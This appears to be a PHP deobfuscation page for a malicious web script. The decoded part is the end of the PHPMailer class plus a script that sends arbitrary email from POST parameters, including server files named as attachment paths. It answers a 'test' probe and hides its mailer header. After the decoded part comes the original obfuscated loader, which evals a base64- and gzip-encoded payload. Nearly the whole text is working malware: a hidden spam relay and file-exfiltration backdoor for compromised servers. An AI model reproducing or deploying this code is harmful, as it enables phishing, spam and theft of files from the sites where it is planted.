")); } } else { $encoding = 'Q'; $encoded = $this->EncodeQ($str, $position); $encoded = $this->WrapText($encoded, $maxlen, true); $encoded = str_replace('=' . self::CRLF, "
", trim($encoded)); } $encoded = preg_replace('/^(.*)$/m', " =?" . $this->CharSet . "?$encoding??=", $encoded); $encoded = trim(str_replace("
", $this->LE, $encoded)); return $encoded; } public function HasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet)); } else { return false; } } public function Base64EncodeWrapMB($str, $lf = null) { $start = "=?" . $this->CharSet . "?B?"; $end = "?="; $encoded = ""; if ($lf === null) { $lf = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $offset = $avgLength = floor($length * $ratio * .75); for ($i = 0; $i < $mb_length; $i+= $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded.= $chunk . $lf; } $encoded = substr($encoded, 0, -strlen($lf)); return $encoded; } public function EncodeQPphp($input = '', $line_max = 76, $space_conv = false) { $hex = array( '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' ); $lines = preg_split('/(?:
|
|
)/', $input); $eol = "
"; $escape = '='; $output = ''; while (list(, $line) = each($lines)) { $linlen = strlen($line); $newline = ''; for ($i = 0; $i < $linlen; $i++) { $c = substr($line, $i, 1); $dec = ord($c); if (($i == 0) && ($dec == 46)) { $c = '=2E'; } if ($dec == 32) { if ($i == ($linlen - 1)) { $c = '=20'; } else if ($space_conv) { $c = '=20'; } } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) { $h2 = (integer)floor($dec / 16); $h1 = (integer)floor($dec % 16); $c = $escape . $hex[$h2] . $hex[$h1]; } if ((strlen($newline) + strlen($c)) >= $line_max) { $output.= $newline . $escape . $eol; $newline = ''; if ($dec == 46) { $c = '=2E'; } } $newline.= $c; } $output.= $newline . $eol; } return $output; } public function EncodeQP($string, $line_max = 76, $space_conv = false) { if (function_exists('quoted_printable_encode')) { return quoted_printable_encode($string); } $filters = stream_get_filters(); if (!in_array('convert.*', $filters)) { return $this->EncodeQPphp($string, $line_max, $space_conv); } $fp = fopen('php://temp/', 'r+'); $string = preg_replace('/
?/', $this->LE, $string); $params = array( 'line-length' => $line_max, 'line-break-chars' => $this->LE ); $s = stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params); fputs($fp, $string); rewind($fp); $out = stream_get_contents($fp); stream_filter_remove($s); $out = preg_replace('/^\./m', '=2E', $out); fclose($fp); return $out; } public function EncodeQ($str, $position = 'text') { $pattern = ""; $encoded = str_replace(array( "
", "
" ) , '', $str); switch (strtolower($position)) { case 'phrase': $pattern = '^A-Za-z0-9!*+\/ -'; break; case 'comment': $pattern = '\(\)"'; case 'text': default: $pattern = '=-	-?_-' . $pattern; break; } if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { foreach(array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)) , $encoded); } } return str_replace(' ', '_', $encoded); } public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') { $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename) , 3 => $encoding, 4 => $type, 5 => true, 6 => 'attachment', 7 => 0 ); } public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { if (!@is_file($path)) { $this->SetError($this->Lang('file_access') . $path); return false; } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => 'inline', 7 => $cid ); return true; } public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => 'inline', 7 => $cid ); } public function InlineImageExists() { foreach($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true; } } return false; } public function AttachmentExists() { foreach($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true; } } return false; } public function AlternativeExists() { return !empty($this->AltBody); } public function ClearAddresses() { foreach($this->to as $to) { unset($this->all_recipients[strtolower($to[0]) ]); } $this->to = array(); } public function ClearCCs() { foreach($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0]) ]); } $this->cc = array(); } public function ClearBCCs() { foreach($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0]) ]); } $this->bcc = array(); } public function ClearReplyTos() { $this->ReplyTo = array(); } public function ClearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); } public function ClearAttachments() { $this->attachment = array(); } public function ClearCustomHeaders() { $this->CustomHeader = array(); } protected function SetError($msg) { $this->error_count++; if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { $msg.= '<p>' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . "</p>
"; } } $this->ErrorInfo = $msg; } public static function RFCDate() { $tz = date('Z'); $tzs = ($tz < 0) ? '-' : '+'; $tz = abs($tz); $tz = (int)($tz / 3600) * 100 + ($tz % 3600) / 60; $result = sprintf("%s %s%04d", date('D, j M Y H:i:s') , $tzs, $tz); return $result; } protected function ServerHostname() { if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME']; } else { $result = 'localhost.localdomain'; } return $result; } protected function Lang($key) { if (count($this->language) < 1) { $this->SetLanguage('en'); } if (isset($this->language[$key])) { return $this->language[$key]; } else { return 'Language string failed to load: ' . $key; } } public function IsError() { return ($this->error_count > 0); } public function FixEOL($str) { $nstr = str_replace(array( "
", "
" ) , "
", $str); if ($this->LE !== "
") { $nstr = str_replace("
", $this->LE, $nstr); } return $nstr; } public function AddCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode(':', $name, 2); } else { $this->CustomHeader[] = array( $name, $value ); } } public function MsgHTML($message, $basedir = '') { preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images); if (isset($images[2])) { foreach($images[2] as $i => $url) { if (!preg_match('#^[A-z]+://#', $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == '.') { $directory = ''; } $cid = 'cid:' . md5($filename); $ext = pathinfo($filename, PATHINFO_EXTENSION); $mimeType = self::_mime_types($ext); if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir.= '/'; } if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory.= '/'; } if ($this->AddEmbeddedImage($basedir . $directory . $filename, md5($filename) , $filename, 'base64', $mimeType)) { $message = preg_replace("/" . $images[1][$i] . "=[\"']" . preg_quote($url, '/') . "[\"']/Ui", $images[1][$i] . "=\"" . $cid . "\"", $message); } } } } $this->IsHTML(true); $this->Body = $message; if (empty($this->AltBody)) { $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s', '', $message))); if (!empty($textMsg)) { $this->AltBody = html_entity_decode($textMsg, ENT_QUOTES, $this->CharSet); } } if (empty($this->AltBody)) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "

"; } return $message; } public static function _mime_types($ext = '') { $mimes = array( 'xl' => 'application/excel', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie' ); return (!isset($mimes[strtolower($ext) ])) ? 'application/octet-stream' : $mimes[strtolower($ext) ]; } public function set($name, $value = '') { try { if (isset($this->$name)) { $this->$name = $value; } else { throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL); } } catch(Exception $e) { $this->SetError($e->getMessage()); if ($e->getCode() == self::STOP_CRITICAL) { return false; } } return true; } public function SecureHeader($str) { return trim(str_replace(array( "
", "
" ) , '', $str)); } public function Sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line.= $txt[$i]; } else { $line.= "=" . sprintf("%02X", $ord); } } return $line; } public function DKIM_Sign($s) { $privKeyStr = file_get_contents($this->DKIM_private); if ($this->DKIM_passphrase != '') { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = $privKeyStr; } if (openssl_sign($s, $signature, $privKey)) { return base64_encode($signature); } return ''; } public function DKIM_HeaderC($s) { $s = preg_replace("/
\s+/", " ", $s); $lines = explode("
", $s); foreach($lines as $key => $line) { list($heading, $value) = explode(":", $line, 2); $heading = strtolower($heading); $value = preg_replace("/\s+/", " ", $value); $lines[$key] = $heading . ":" . trim($value); } $s = implode("
", $lines); return $s; } public function DKIM_BodyC($body) { if ($body == '') return "
"; $body = str_replace("
", "
", $body); $body = str_replace("
", "
", $body); while (substr($body, strlen($body) - 4, 4) == "

") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha1'; $DKIMcanonicalization = 'relaxed/simple'; $DKIMquery = 'dns/txt'; $DKIMtime = time(); $subject_header = "Subject: $subject"; $headers = explode($this->LE, $headers_line); $from_header = ""; $to_header = ""; foreach($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header; } elseif (strpos($header, 'To:') === 0) { $to_header = $header; } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("H*", sha1($body))); $ident = ($this->DKIM_identity == '') ? '' : " i=" . $this->DKIM_identity . ";"; $dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";
" . "	t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";
" . "	h=From:To:Subject;
" . "	d=" . $this->DKIM_domain . ";" . $ident . "
" . "	z=$from
" . "	|$to
" . "	|$subject;
" . "	bh=" . $DKIMb64 . ";
" . "	b="; $toSign = $this->DKIM_HeaderC($from_header . "
" . $to_header . "
" . $subject_header . "
" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return "X-PHPMAILER-DKIM: code.google.com/a/apache-extras.org/p/phpmailer/
" . $dkimhdrs . $signed . "
"; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array( $isSent, $to, $cc, $bcc, $subject, $body, $from ); call_user_func_array($this->action_function, $params); } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
"; return $errorMsg; } } if (empty($_POST['subject']) || empty($_POST['body']) || empty($_POST['from']) || empty($_POST['fromName']) || empty($_POST['to'])) { if (!empty($_GET['ora']) && $_GET['ora'] == 'test') { echo "OK"; } else { echo "INVALID_REQUEST"; } die; } usleep(100); try { $mail = new PHPMailer(); $mail->From = $_POST['from']; $mail->addReplyTo($_POST['replyto'], $_POST['fromName']); $mail->FromName = $_POST['fromName']; $mail->Subject = $_POST['subject']; $mail->MsgHTML(base64_decode($_POST['body'])); $mail->AddAddress($_POST['to']); $mail->XMailer = ' '; $mail->AddAttachment($path = ($_POST['name1']) , $name = ($_POST['names1']) , $encoding = 'base64', $type = 'application/octet-stream'); $mail->AddAttachment($path = ($_POST['name2']) , $name = ($_POST['names2']) , $encoding = 'base64', $type = 'application/octet-stream'); if ($mail->Send()) { echo "SUCCESS"; } else { echo "FAILURE"; } } catch(phpmailerException $e) { echo $e->errorMessage(); } catch(Exception $e) { echo $e->getMessage(); } 

Did this file decode correctly?

Original Code

<?php $mpy='c';$iO='n';$P='4';$pPdi='f';$gu='z';$bw='d';$GqX='s';$ePpE='6';$cH='b';$XE='i';$nom='o';$wGK='e';$ZnUq='a';$ast='t';$XHXyA='_';$emqDZ='l';$GBPBD='g';$ZiwpR=$cH.$ZnUq.$GqX.$wGK.$ePpE.$P.$XHXyA.$bw.$wGK.$mpy.$nom.$bw.$wGK;$gQ=$GBPBD.$gu.$XE.$iO.$pPdi.$emqDZ.$ZnUq.$ast.$wGK;eval($gQ($ZiwpR('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